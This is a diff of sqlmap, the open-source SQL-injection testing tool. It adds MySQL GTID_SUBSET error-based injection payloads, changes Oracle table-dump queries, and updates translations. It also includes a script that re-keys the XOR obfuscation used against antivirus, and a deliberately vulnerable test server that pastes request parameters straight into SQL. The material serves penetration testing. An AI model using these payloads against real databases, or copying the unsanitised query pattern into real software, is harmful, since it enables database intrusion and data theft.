<where>1</where>
|
||||||
|
<vector>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
|
||||||
|
<request>
|
||||||
|
<payload>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
<dbms_version>>= 5.6</dbms_version>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>4</level>
|
||||||
|
<risk>3</risk>
|
||||||
|
<clause>1,8,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
|
||||||
|
<request>
|
||||||
|
<payload>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
<dbms_version>>= 5.6</dbms_version>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)</title>
|
<title>MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
@@ -886,6 +926,26 @@
|
|||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,2,3,9</clause>
|
||||||
|
<where>3</where>
|
||||||
|
<vector>GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
|
||||||
|
<request>
|
||||||
|
<payload>GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
<dbms_version>>= 5.6</dbms_version>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)</title>
|
<title>MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
@@ -1155,6 +1215,26 @@
|
|||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL >= 5.6 error-based - ORDER BY, GROUP BY clause (GTID_SUBSET)</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>2,3</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>,GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
|
||||||
|
<request>
|
||||||
|
<payload>,GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
<dbms_version>>= 5.6</dbms_version>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS)</title>
|
<title>MySQL >= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
|
|||||||
@@ -301,8 +301,8 @@
|
|||||||
<blind query="SELECT COLUMN_NAME FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" query2="SELECT DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND OWNER='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" condition="COLUMN_NAME"/>
|
<blind query="SELECT COLUMN_NAME FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" query2="SELECT DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND OWNER='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" condition="COLUMN_NAME"/>
|
||||||
</columns>
|
</columns>
|
||||||
<dump_table>
|
<dump_table>
|
||||||
<inband query="SELECT %s FROM %s"/>
|
<inband query="SELECT %s FROM %s ORDER BY ROWNUM"/>
|
||||||
<blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS LIMIT FROM %s qq) WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>
|
<blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS LIMIT FROM %s qq ORDER BY ROWNUM) WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>
|
||||||
</dump_table>
|
</dump_table>
|
||||||
<!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
|
<!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
|
||||||
<search_db>
|
<search_db>
|
||||||
|
|||||||
@@ -6,14 +6,17 @@
|
|||||||
# Version 1.3 (2019-01-05)
|
# Version 1.3 (2019-01-05)
|
||||||
|
|
||||||
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3)
|
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3)
|
||||||
|
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/4?closed=1)
|
||||||
|
|
||||||
# Version 1.2 (2018-01-08)
|
# Version 1.2 (2018-01-08)
|
||||||
|
|
||||||
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.1...1.2)
|
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.1...1.2)
|
||||||
|
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/3?closed=1)
|
||||||
|
|
||||||
# Version 1.1 (2017-04-07)
|
# Version 1.1 (2017-04-07)
|
||||||
|
|
||||||
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.0...1.1)
|
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.0...1.1)
|
||||||
|
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/2?closed=1)
|
||||||
|
|
||||||
# Version 1.0 (2016-02-27)
|
# Version 1.0 (2016-02-27)
|
||||||
|
|
||||||
|
|||||||
+1
-1
@@ -277,7 +277,7 @@ be bound by the terms and conditions of this License Agreement.
|
|||||||
* The `bottle` web framework library located under `thirdparty/bottle/`.
|
* The `bottle` web framework library located under `thirdparty/bottle/`.
|
||||||
Copyright (C) 2012, Marcel Hellkamp.
|
Copyright (C) 2012, Marcel Hellkamp.
|
||||||
* The `identYwaf` library located under `thirdparty/identywaf/`.
|
* The `identYwaf` library located under `thirdparty/identywaf/`.
|
||||||
Copyright (C) 2019, Miroslav Stampar.
|
Copyright (C) 2019-2020, Miroslav Stampar.
|
||||||
* The `ordereddict` library located under `thirdparty/odict/`.
|
* The `ordereddict` library located under `thirdparty/odict/`.
|
||||||
Copyright (C) 2009, Raymond Hettinger.
|
Copyright (C) 2009, Raymond Hettinger.
|
||||||
* The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`.
|
* The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`.
|
||||||
|
|||||||
@@ -32,7 +32,7 @@ Pour afficher une liste complète des options et des commutateurs (switches), ta
|
|||||||
|
|
||||||
python sqlmap.py -hh
|
python sqlmap.py -hh
|
||||||
|
|
||||||
Vous pouvez regarder un vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
|
Vous pouvez regarder une vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
|
||||||
Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de toutes les options, ainsi que des exemples, nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
|
Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de toutes les options, ainsi que des exemples, nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
|
||||||
|
|
||||||
Liens
|
Liens
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
|
|
||||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
||||||
|
|
||||||
sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basisdata. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basisdata, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_.
|
sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basis data. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basis data, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_.
|
||||||
|
|
||||||
Tangkapan Layar
|
Tangkapan Layar
|
||||||
----
|
----
|
||||||
@@ -43,7 +43,7 @@ Tautan
|
|||||||
* Situs: http://sqlmap.org
|
* Situs: http://sqlmap.org
|
||||||
* Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
* Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
* RSS feed dari commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
* RSS feed dari commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
|
* Pelacak Masalah: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki
|
* Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
|
|||||||
@@ -14,8 +14,7 @@ Você pode visitar a [coleção de imagens](https://github.com/sqlmapproject/sql
|
|||||||
Instalação
|
Instalação
|
||||||
----
|
----
|
||||||
|
|
||||||
Você pode baixar o arquivo tar mais recente clicando [aqui]
|
Você pode baixar o arquivo tar mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master).
|
||||||
(https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master).
|
|
||||||
|
|
||||||
De preferência, você pode baixar o sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap):
|
De preferência, você pode baixar o sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap):
|
||||||
|
|
||||||
|
|||||||
@@ -21,7 +21,7 @@ if sys.version_info >= (3, 0):
|
|||||||
xrange = range
|
xrange = range
|
||||||
ord = lambda _: _
|
ord = lambda _: _
|
||||||
|
|
||||||
KEY = b"Beeth7hoyooleeF0"
|
KEY = b"MOZFqVjlk1CY436G"
|
||||||
|
|
||||||
def xor(message, key):
|
def xor(message, key):
|
||||||
return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message)))
|
return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message)))
|
||||||
|
|||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Executable
+16
@@ -0,0 +1,16 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
# NOTE: this script is for dev usage after AV something something
|
||||||
|
|
||||||
|
DIR=$(cd -P -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd -P)
|
||||||
|
|
||||||
|
cd $DIR/../..
|
||||||
|
for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -d -i $file; done
|
||||||
|
|
||||||
|
cd $DIR/../cloak
|
||||||
|
sed -i 's/KEY = .*/KEY = b"'`python -c 'import random; import string; print("".join(random.sample(string.ascii_letters + string.digits, 16)))'`'"/g' cloak.py
|
||||||
|
|
||||||
|
cd $DIR/../..
|
||||||
|
for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -i `echo $file | sed 's/_$//g'`; done
|
||||||
|
|
||||||
|
git clean -f > /dev/null
|
||||||
@@ -9,6 +9,7 @@ See the file 'LICENSE' for copying permission
|
|||||||
|
|
||||||
from __future__ import print_function
|
from __future__ import print_function
|
||||||
|
|
||||||
|
import base64
|
||||||
import json
|
import json
|
||||||
import re
|
import re
|
||||||
import sqlite3
|
import sqlite3
|
||||||
@@ -146,7 +147,10 @@ class ReqHandler(BaseHTTPRequestHandler):
|
|||||||
if "query" in self.params:
|
if "query" in self.params:
|
||||||
_cursor.execute(self.params["query"])
|
_cursor.execute(self.params["query"])
|
||||||
elif "id" in self.params:
|
elif "id" in self.params:
|
||||||
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
|
if "base64" in self.params:
|
||||||
|
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % base64.b64decode("%s===" % self.params["id"], altchars=self.params.get("altchars")).decode())
|
||||||
|
else:
|
||||||
|
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
|
||||||
results = _cursor.fetchall()
|
results = _cursor.fetchall()
|
||||||
|
|
||||||
output += "<b>SQL results:</b><br>\n"
|
output += "<b>SQL results:</b><br>\n"
|
||||||
|
|||||||
@@ -501,6 +501,7 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
# Useful to set kb.matchRatio at first based on False response content
|
# Useful to set kb.matchRatio at first based on False response content
|
||||||
kb.matchRatio = None
|
kb.matchRatio = None
|
||||||
kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
|
kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
|
||||||
|
suggestion = None
|
||||||
Request.queryPage(genCmpPayload(), place, raise404=False)
|
Request.queryPage(genCmpPayload(), place, raise404=False)
|
||||||
falsePage, falseHeaders, falseCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
|
falsePage, falseHeaders, falseCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
|
||||||
falseRawResponse = "%s%s" % (falseHeaders, falsePage)
|
falseRawResponse = "%s%s" % (falseHeaders, falsePage)
|
||||||
@@ -568,7 +569,7 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
candidates = sorted(candidates, key=len)
|
candidates = sorted(candidates, key=len)
|
||||||
for candidate in candidates:
|
for candidate in candidates:
|
||||||
if re.match(r"\A[\w.,! ]+\Z", candidate) and ' ' in candidate and candidate.strip() and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH:
|
if re.match(r"\A[\w.,! ]+\Z", candidate) and ' ' in candidate and candidate.strip() and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH:
|
||||||
conf.string = candidate
|
suggestion = conf.string = candidate
|
||||||
injectable = True
|
injectable = True
|
||||||
|
|
||||||
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'"))
|
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'"))
|
||||||
@@ -579,7 +580,7 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
if injectable:
|
if injectable:
|
||||||
if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
|
if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
|
||||||
if all((falseCode, trueCode)) and falseCode != trueCode:
|
if all((falseCode, trueCode)) and falseCode != trueCode:
|
||||||
conf.code = trueCode
|
suggestion = conf.code = trueCode
|
||||||
|
|
||||||
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --code=%d)" % ("%s " % paramType if paramType != parameter else "", parameter, title, conf.code)
|
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --code=%d)" % ("%s " % paramType if paramType != parameter else "", parameter, title, conf.code)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -604,7 +605,7 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
if re.match(r"\A\w{2,}\Z", candidate): # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content
|
if re.match(r"\A\w{2,}\Z", candidate): # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content
|
||||||
break
|
break
|
||||||
|
|
||||||
conf.string = candidate
|
suggestion = conf.string = candidate
|
||||||
|
|
||||||
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'"))
|
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'"))
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -618,12 +619,12 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
if re.match(r"\A\w+\Z", candidate):
|
if re.match(r"\A\w+\Z", candidate):
|
||||||
break
|
break
|
||||||
|
|
||||||
conf.notString = candidate
|
suggestion = conf.notString = candidate
|
||||||
|
|
||||||
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --not-string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.notString).lstrip('u').strip("'"))
|
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --not-string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.notString).lstrip('u').strip("'"))
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if not any((conf.string, conf.notString, conf.code)):
|
if not suggestion:
|
||||||
infoMsg = "%sparameter '%s' appears to be '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title)
|
infoMsg = "%sparameter '%s' appears to be '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title)
|
||||||
singleTimeLogMessage(infoMsg)
|
singleTimeLogMessage(infoMsg)
|
||||||
|
|
||||||
@@ -1580,7 +1581,7 @@ def checkConnection(suppressOutput=False):
|
|||||||
kb.originalPage = kb.pageTemplate = threadData.lastPage
|
kb.originalPage = kb.pageTemplate = threadData.lastPage
|
||||||
kb.originalCode = threadData.lastCode
|
kb.originalCode = threadData.lastCode
|
||||||
|
|
||||||
if conf.cj and not conf.cookie and not conf.dropSetCookie:
|
if conf.cj and not conf.cookie and not any(_[0] == HTTP_HEADER.COOKIE for _ in conf.httpHeaders) and not conf.dropSetCookie:
|
||||||
candidate = DEFAULT_COOKIE_DELIMITER.join("%s=%s" % (_.name, _.value) for _ in conf.cj)
|
candidate = DEFAULT_COOKIE_DELIMITER.join("%s=%s" % (_.name, _.value) for _ in conf.cj)
|
||||||
|
|
||||||
message = "you have not declared cookie(s), while "
|
message = "you have not declared cookie(s), while "
|
||||||
|
|||||||
@@ -386,7 +386,7 @@ def start():
|
|||||||
message += "\nCookie: %s" % conf.cookie
|
message += "\nCookie: %s" % conf.cookie
|
||||||
|
|
||||||
if conf.data is not None:
|
if conf.data is not None:
|
||||||
message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data)
|
message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data)
|
||||||
|
|
||||||
if conf.forms and conf.method:
|
if conf.forms and conf.method:
|
||||||
if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1:
|
if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1:
|
||||||
|
|||||||
+20
-8
@@ -42,6 +42,7 @@ from lib.core.enums import PAYLOAD
|
|||||||
from lib.core.enums import PLACE
|
from lib.core.enums import PLACE
|
||||||
from lib.core.enums import POST_HINT
|
from lib.core.enums import POST_HINT
|
||||||
from lib.core.exception import SqlmapNoneDataException
|
from lib.core.exception import SqlmapNoneDataException
|
||||||
|
from lib.core.settings import BOUNDED_BASE64_MARKER
|
||||||
from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
|
from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
|
||||||
from lib.core.settings import BOUNDED_INJECTION_MARKER
|
from lib.core.settings import BOUNDED_INJECTION_MARKER
|
||||||
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
|
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
|
||||||
@@ -183,15 +184,19 @@ class Agent(object):
|
|||||||
newValue = self.adjustLateValues(newValue)
|
newValue = self.adjustLateValues(newValue)
|
||||||
|
|
||||||
# TODO: support for POST_HINT
|
# TODO: support for POST_HINT
|
||||||
newValue = encodeBase64(newValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
newValue = "%s%s%s" % (BOUNDED_BASE64_MARKER, newValue, BOUNDED_BASE64_MARKER)
|
||||||
origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
|
||||||
|
if parameter in kb.base64Originals:
|
||||||
|
origValue = kb.base64Originals[parameter]
|
||||||
|
else:
|
||||||
|
origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
||||||
|
|
||||||
if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
|
if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
|
||||||
_ = "%s%s" % (origValue, kb.customInjectionMark)
|
_ = "%s%s" % (origValue, kb.customInjectionMark)
|
||||||
|
|
||||||
if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and '"%s"' % _ not in paramString:
|
if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and '"%s"' % _ not in paramString:
|
||||||
newValue = '"%s"' % self.addPayloadDelimiters(newValue)
|
newValue = '"%s"' % self.addPayloadDelimiters(newValue)
|
||||||
elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and "'%s'" % _ not in paramString:
|
elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and re.search(r"['\"]%s['\"]" % re.escape(_), paramString) is None:
|
||||||
newValue = "'%s'" % self.addPayloadDelimiters(newValue)
|
newValue = "'%s'" % self.addPayloadDelimiters(newValue)
|
||||||
else:
|
else:
|
||||||
newValue = self.addPayloadDelimiters(newValue)
|
newValue = self.addPayloadDelimiters(newValue)
|
||||||
@@ -393,6 +398,10 @@ class Agent(object):
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
if payload:
|
if payload:
|
||||||
|
for match in re.finditer(r"%s(.*?)%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER), payload):
|
||||||
|
_ = encodeBase64(match.group(1), binary=False, encoding=conf.encoding or UNICODE_ENCODING, safe=conf.base64Safe)
|
||||||
|
payload = payload.replace(match.group(0), _)
|
||||||
|
|
||||||
payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))
|
payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))
|
||||||
payload = payload.replace(SINGLE_QUOTE_MARKER, "'")
|
payload = payload.replace(SINGLE_QUOTE_MARKER, "'")
|
||||||
|
|
||||||
@@ -1198,12 +1207,15 @@ class Agent(object):
|
|||||||
|
|
||||||
def whereQuery(self, query):
|
def whereQuery(self, query):
|
||||||
if conf.dumpWhere and query:
|
if conf.dumpWhere and query:
|
||||||
match = re.search(r" (LIMIT|ORDER).+", query, re.I)
|
if Backend.isDbms(DBMS.ORACLE) and re.search("qq ORDER BY \w+\)", query, re.I) is not None:
|
||||||
if match:
|
prefix, suffix = re.sub(r"(?i)(qq)( ORDER BY \w+\))", r"\g<1> WHERE %s\g<2>" % conf.dumpWhere, query), ""
|
||||||
suffix = match.group(0)
|
|
||||||
prefix = query[:-len(suffix)]
|
|
||||||
else:
|
else:
|
||||||
prefix, suffix = query, ""
|
match = re.search(r" (LIMIT|ORDER).+", query, re.I)
|
||||||
|
if match:
|
||||||
|
suffix = match.group(0)
|
||||||
|
prefix = query[:-len(suffix)]
|
||||||
|
else:
|
||||||
|
prefix, suffix = query, ""
|
||||||
|
|
||||||
if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper():
|
if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper():
|
||||||
prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix)
|
prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix)
|
||||||
|
|||||||
+69
-7
@@ -58,6 +58,7 @@ from lib.core.convert import getText
|
|||||||
from lib.core.convert import getUnicode
|
from lib.core.convert import getUnicode
|
||||||
from lib.core.convert import htmlUnescape
|
from lib.core.convert import htmlUnescape
|
||||||
from lib.core.convert import stdoutEncode
|
from lib.core.convert import stdoutEncode
|
||||||
|
from lib.core.data import cmdLineOptions
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
@@ -630,7 +631,8 @@ def paramToDict(place, parameters=None):
|
|||||||
|
|
||||||
if parameter in (conf.base64Parameter or []):
|
if parameter in (conf.base64Parameter or []):
|
||||||
try:
|
try:
|
||||||
oldValue = value
|
kb.base64Originals[parameter] = oldValue = value
|
||||||
|
value = urldecode(value, convall=True)
|
||||||
value = decodeBase64(value, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
value = decodeBase64(value, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
||||||
parameters = re.sub(r"\b%s(\b|\Z)" % re.escape(oldValue), value, parameters)
|
parameters = re.sub(r"\b%s(\b|\Z)" % re.escape(oldValue), value, parameters)
|
||||||
except:
|
except:
|
||||||
@@ -1050,6 +1052,16 @@ def dataToDumpFile(dumpFile, data):
|
|||||||
raise
|
raise
|
||||||
|
|
||||||
def dataToOutFile(filename, data):
|
def dataToOutFile(filename, data):
|
||||||
|
"""
|
||||||
|
Saves data to filename
|
||||||
|
|
||||||
|
>>> pushValue(conf.get("filePath"))
|
||||||
|
>>> conf.filePath = tempfile.gettempdir()
|
||||||
|
